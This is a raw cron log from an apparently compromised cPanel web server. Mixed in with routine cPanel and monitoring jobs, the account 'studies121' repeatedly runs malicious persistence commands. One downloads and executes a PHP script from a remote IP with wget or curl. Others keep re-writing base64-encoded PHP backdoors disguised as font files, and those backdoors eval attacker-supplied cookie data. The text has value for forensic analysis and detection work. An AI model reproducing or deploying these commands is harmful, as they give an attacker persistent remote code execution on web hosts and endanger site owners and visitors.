Sep  7 13:28:02 ip-184-168-122-23 CROND[3700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:28:02 ip-184-168-122-23 CROND[3702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:28:02 ip-184-168-122-23 CROND[3701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:28:02 ip-184-168-122-23 CROND[3703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:29:01 ip-184-168-122-23 CROND[3803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:29:01 ip-184-168-122-23 CROND[3804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:29:01 ip-184-168-122-23 CROND[3805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:29:01 ip-184-168-122-23 CROND[3808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:30:02 ip-184-168-122-23 CROND[3931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:30:02 ip-184-168-122-23 CROND[3932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:30:02 ip-184-168-122-23 CROND[3935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:30:02 ip-184-168-122-23 CROND[3937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:30:02 ip-184-168-122-23 CROND[3934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:30:02 ip-184-168-122-23 CROND[3938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:30:02 ip-184-168-122-23 CROND[3939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:30:02 ip-184-168-122-23 CROND[3940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:31:01 ip-184-168-122-23 CROND[4125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:31:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:31:01 ip-184-168-122-23 CROND[4129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:31:01 ip-184-168-122-23 CROND[4130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:31:01 ip-184-168-122-23 CROND[4127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:32:01 ip-184-168-122-23 CROND[4244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:32:01 ip-184-168-122-23 CROND[4246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:32:01 ip-184-168-122-23 CROND[4245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:32:01 ip-184-168-122-23 CROND[4248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:32:01 ip-184-168-122-23 CROND[4247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:33:01 ip-184-168-122-23 CROND[4353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:33:01 ip-184-168-122-23 CROND[4354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:33:01 ip-184-168-122-23 CROND[4357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:33:01 ip-184-168-122-23 CROND[4355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:34:01 ip-184-168-122-23 CROND[4480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:34:01 ip-184-168-122-23 CROND[4479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:34:01 ip-184-168-122-23 CROND[4478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:34:01 ip-184-168-122-23 CROND[4481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:34:01 ip-184-168-122-23 CROND[4482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4575]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:35:01 ip-184-168-122-23 CROND[4579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:35:01 ip-184-168-122-23 CROND[4580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:36:01 ip-184-168-122-23 CROND[4690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:36:01 ip-184-168-122-23 CROND[4689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:36:01 ip-184-168-122-23 CROND[4691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:36:01 ip-184-168-122-23 CROND[4692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:36:01 ip-184-168-122-23 CROND[4693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:37:01 ip-184-168-122-23 CROND[4791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:37:01 ip-184-168-122-23 CROND[4793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:37:01 ip-184-168-122-23 CROND[4792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:37:01 ip-184-168-122-23 CROND[4790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:38:01 ip-184-168-122-23 CROND[4868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:38:01 ip-184-168-122-23 CROND[4872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:38:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:38:01 ip-184-168-122-23 CROND[4871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:38:01 ip-184-168-122-23 CROND[4873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:39:01 ip-184-168-122-23 CROND[5056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:39:01 ip-184-168-122-23 CROND[5058]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 13:39:01 ip-184-168-122-23 CROND[5054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:39:01 ip-184-168-122-23 CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:39:01 ip-184-168-122-23 CROND[5055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:40:01 ip-184-168-122-23 CROND[5153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
